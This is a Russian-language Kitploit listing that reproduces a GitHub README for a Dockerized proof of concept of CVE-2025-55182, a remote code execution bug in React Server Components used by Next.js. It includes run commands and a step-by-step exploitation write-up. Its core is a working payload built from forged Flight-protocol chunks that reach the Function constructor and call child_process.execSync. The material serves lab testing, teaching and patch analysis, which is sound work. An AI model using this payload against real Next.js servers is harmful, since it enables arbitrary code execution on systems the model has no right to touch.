Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-Dockerized — Dockerized proof-of-concept для CVE-2025-55182, критический RCE в React Server Components через prototype pollution, с автоматизированными exploit scripts и уязвимым тестовым окружением Next.js. | Kitploit
Инструменты/GitHubGitHub/clevernyyyy/cve-2025-55182-dockerized
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubclevernyyyy/cve-2025-55182-dockerized

CVE-2025-55182-Dockerized

Dockerized proof-of-concept для CVE-2025-55182, критический RCE в React Server Components через prototype pollution, с автоматизированными exploit scripts и уязвимым тестовым окружением Next.js.

Репозиторий
136 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 - Dockerized Proof of Concept (Контейнеризованная PoC)

Этот репозиторий содержит контейнеризованную proof of concept для CVE-2025-55182, критической уязвимости удаленного выполнения кода в React Server Components (RSC), затрагивающей приложения Next.js, использующие Server Actions.

Авторы

Оригинальная proof of concept и анализ уязвимости были созданы msanft. Этот репозиторий расширяет их работу, предоставляя контейнеризованную тестовую среду для упрощения тестирования и демонстрации.

Быстрый старт

Предварительные требования

  • Установленный и запущенный Docker
  • Python 3 с библиотекой requests (pip install requests)

Запуск эксплойта

  1. Запустите уязвимый сервер Next.js:

    root@kitploit:~
    docker compose up --build -d
    
  • Дождитесь запуска сервера (проверьте логи с помощью docker compose logs -f nextjs-server)

  • Запустите эксплойт:

    root@kitploit:~
    # Автоматизированный скрипт (рекомендуется)
    ./exploit-docker.sh
    
    # Или вручную
    ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
  • Проверьте, что эксплойт сработал:

    root@kitploit:~
    docker compose exec nextjs-server ls -la /tmp/rce_test
    
  • Примеры команд

    root@kitploit:~
    # Создать файл
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
    # Записать в файл
    python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
    
    # Узнать текущего пользователя
    python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
    
    # Проверить результаты
    docker compose exec nextjs-server cat /tmp/rce_output
    docker compose exec nextjs-server cat /tmp/rce_user
    

    Важные замечания

    • ⚠️ Ошибки тайм-аута ОЖИДАЕМЫ — они указывают на успешное выполнение RCE
    • Сервер зависает после выполнения команды, что вызывает тайм-аут HTTP
    • Команды выполняются от имени пользователя nextjs (UID 1001) внутри контейнера
    • Файлы создаются в файловой системе контейнера, а не на хосте

    Docker-настройка

    Этот репозиторий включает полную Docker-настройку для тестирования уязвимости:

    • docker-compose.yml — конфигурация Docker Compose
    • test-server/ — уязвимое приложение Next.js
    • test-server/Dockerfile — продакшн Dockerfile
    • test-server/Dockerfile.dev — Dockerfile для разработки (опционально)

    Уязвимый сервер работает на Next.js 16.0.6 с простым Server Action, который можно эксплуатировать.

    Файлы

    • poc.py — скрипт proof of concept на Python (оригинал от msanft, с исправлением экранирования кавычек)
    • exploit-docker.sh — автоматизированный скрипт эксплойта для Docker-среды
    • DOCKER_SETUP.md — подробная документация по настройке Docker

    Очистка

    root@kitploit:~
    # Остановить контейнер
    docker compose down
    
    # Удалить всё (включая тома)
    docker compose down -v
    

    Оригинальный анализ уязвимости

    Детальный анализ уязвимости, цепочка эксплуатации и информация об исправлении из оригинального исследования приведены ниже.


    Оригинальное исследование от msanft

    Эта уязвимость позволяет выполнение произвольного кода (RCE) в React Server Functions, например, как они реализованы в Next.js, через небезопасные ссылки на прототипы.

    Я не эксперт в React или Next.js, поэтому относитесь ко всей информации здесь с осторожностью. Кроме того, я всё ещё нахожусь в процессе анализа, так что то, что я описываю ниже как "уязвимость", может быть лишь маленькой частью полной цепочки.

    Предыстория

    React предлагает Server Functions1, которые можно рассматривать как своего рода RPC через HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или для выполнения аутентифицированных запросов, для которых у клиента нет учетных данных.

    React использует так называемый React Flight Protocol2 для сериализации значений, передаваемых Server Functions.

    Клиент передаёт "чанки" (chunks) на сервер, например, через form data:

    root@kitploit:~
    files = {
        "0": (None, '["$1"]'),
        "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
        "2": (None, '{"fruitName":"cherry"}'),
    }
    

    Как показано, они могут содержать ссылки друг на друга. Приведённая выше полезная нагрузка десериализуется на сервере в:

    root@kitploit:~
    { object: 'fruit', name: 'cherry' }
    

    Формат сам по себе немного сложнее и позволяет более сложную сериализацию и десериализацию, но это даёт базовое понимание для реальной уязвимости.

    Уязвимость

    До этого коммита3 при обходе чанков для разрешения ссылок, например, при получении fruitName из чанка 2 в примере выше, React не проверял, установлен ли запрашиваемый ключ в объекте. Это позволяло получить прототип объекта4.

    Это можно продемонстрировать такой полезной нагрузкой:

    root@kitploit:~
    files = {
        "0": (None, '["$1:__proto__:constructor:constructor"]'),
        "1": (None, '{"x":1}'),
    }
    

    Которая десериализуется в конструктор функций5:

    root@kitploit:~
    [Function: Function]
    

    Когда чанк с ID 0 — не массив, а объект, мы можем установить ключ then в конструктор функций. Затем объект возвращается функцией decodeReplyFromBusboy и ожидается (awaited) Next.js:

    root@kitploit:~
    // action-handler.ts:888 (pre-patch)
    boundActionArguments = await decodeReplyFromBusboy(
        busboy,
        serverModuleMap,
        { temporaryReferences }
    )
    

    Когда возвращается thenable, await в вызывающем коде вызовет его. Это и происходит с такой полезной нагрузкой:

    root@kitploit:~
    files = {
        "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
        "1": (None, '{"x":1}'),
    }
    

    Что приводит к ошибке:

    root@kitploit:~
    SyntaxError: Unexpected token 'function'
        at Object.Function [as then] (<anonymous>) {
          digest: '1259793845'
        }
    

    Ошибка выглядит так, потому что V8 вызывает ожидаемую (awaited) функцию с внутренними функциями resolve и reject, которые, будучи приведёнными к строке (toString), сериализуются примерно так:

    root@kitploit:~
    function () { [native code] }
    

    Эксплуатация

    Поскольку мы можем тривиально получить конструктор Function, прямой путь — найти call-gadget, который вызывает конструктор с контролируемым пользователем значением (т.е., кодом функции в виде строки), а затем вызывает возвращённую функцию.

    Есть несколько мест, которые могут вызвать конструктор функций, например, resolveServerReference, где id — контролируемый объект, lastIndexOf может быть переопределён для возврата контролируемой строки (например, через Array.prototype.join), а slice может быть переопределён на конструктор функций. Однако это место не работает, потому что второй вызов .slice() передаёт число в качестве первого аргумента, которое, насколько мне известно, никогда не может быть обработано конструктором функций.

    Здесь приходит блестящая идея от maple31426. Когда getChunk берёт чанк с ID 0 как корневую ссылку для начала разрешения цепочки ссылок, этот же самый чанк может разрешиться в поддельный "фейковый чанк".

    Мы можем сослаться на поддельный чанк 0 в чанке 1 с помощью синтаксиса $@, который возвращает "сырой" чанк, а не его разрешённое значение:

    root@kitploit:~
    case "@":
      return (
        (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
      );
    

    Комбинируя это с нашей перезаписью then выше, мы можем создать нечто подобное:

    root@kitploit:~
    files = {
        "0": (None, '{"then": "$1:__proto__:then"}'),
        "1": (None, '"$@0"'),
    }
    

    Здесь чанк 0 перезаписывает свой собственный .then() на .then() своего собственного сырого представления чанка. Проще говоря, мы перезаписываем свой собственный .then() на Chunk.prototype.then, который существует, поскольку Chunk являются thenable:

    root@kitploit:~
    Chunk.prototype.then = function (resolve, reject) {
          switch (this.status) {
            case "resolved_model":
              initializeModelChunk(this);
          }
          // ...
    

    С приведённой выше полезной нагрузкой Chunk.prototype.then в конечном итоге вызывается с поддельным чанком с ID 0.

    Как показано выше, когда .status нашего фейкового чанка равен resolved_model:

    root@kitploit:~
    files = {
        "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
        "1": (None, '"$@0"'),
    }
    

    Мы попадаем в initializeModelChunk. Здесь .value парсится как JSON, а затем на возвращённом объекте разрешаются ссылки, используя "внешний" контекст наших чанков с ID 0 и 1:

    root@kitploit:~
    function initializeModelChunk(chunk) {
        // ...
        var rawModel = JSON.parse(resolvedModel),
            value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
        // ...
    

    Внутри этого мы получаем второй проход оценки с немного большим количеством значений, к которым у нас есть доступ благодаря уже разрешённому внешнему контексту.

    Существует call-gadget в обработке blob-данных с префиксом $B в flight protocol:

    root@kitploit:~
    case "B":
      return (
        (obj = parseInt(value.slice(2), 16)),
        response._formData.get(response._prefix + obj)
      );
    

    Используя специальное поле _response, мы контролируем свойство response поддельного чанка:

    root@kitploit:~
    // in initializeModelChunk
    value = reviveModel(chunk._response, // ...
    

    С этим мы можем создать объект с поддельными свойствами ._formData и ._prefix:

    root@kitploit:~
    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": f"return foo; // ",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }
    

    Свойство .reason нужно добавить, чтобы обойти сбой при вызове toString в initializeModelChunk:

    root@kitploit:~
    var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
    

    Указывая ._formData на конструктор функций, а ._prefix на наш код, мы получаем вызов конструктора функций в десериализации blob:

    root@kitploit:~
    response._formData.get(response._prefix + "0")
    // становится
    Function("return foo; // 0")
    

    Наша поддельная функция затем возвращается parseModelString как метод .then() поддельного чанка, который также ожидается (awaited), поскольку всё это происходит в одной цепочке разрешения промисов. Таким образом, возвращая thenable, наша поддельная функция вызывается. Это и есть требуемый call-gadget, упомянутый выше.

    Собирая всё вместе с реальной полезной нагрузкой RCE, мы получаем нечто подобное:

    root@kitploit:~
    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        # "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }
    
    files = {
        "0": (None, json.dumps(crafted_chunk)),
        "1": (None, '"$@0"'),
    }
    

    Исправление

    Использование ссылок на чанки для получения свойств прототипа исправлено следующей проверкой:

    root@kitploit:~
    @@ -78,7 +80,10 @@ export function preloadModule<T>(
     
     export function requireModule<T>(metadata: ClientReference<T>): T {
       const moduleExports = parcelRequire(metadata[ID]);
    -  return moduleExports[metadata[NAME]];
    +  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    +    return moduleExports[metadata[NAME]];
    +  }
    +  return (undefined: any);
     }
    

    Открытые вопросы

    • Почему в уведомлении React7 упоминается, что эта уязвимость может быть вызвана даже без активного объявления server functions? Существуют ли другие вещи, которые превращаются в server functions под капотом?

    Footnotes

    1. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

    2. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

    3. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

    4. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

    5. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

    6. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/x.com/maple3142%3E ↩

    7. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%3E ↩

    Скачать инструмент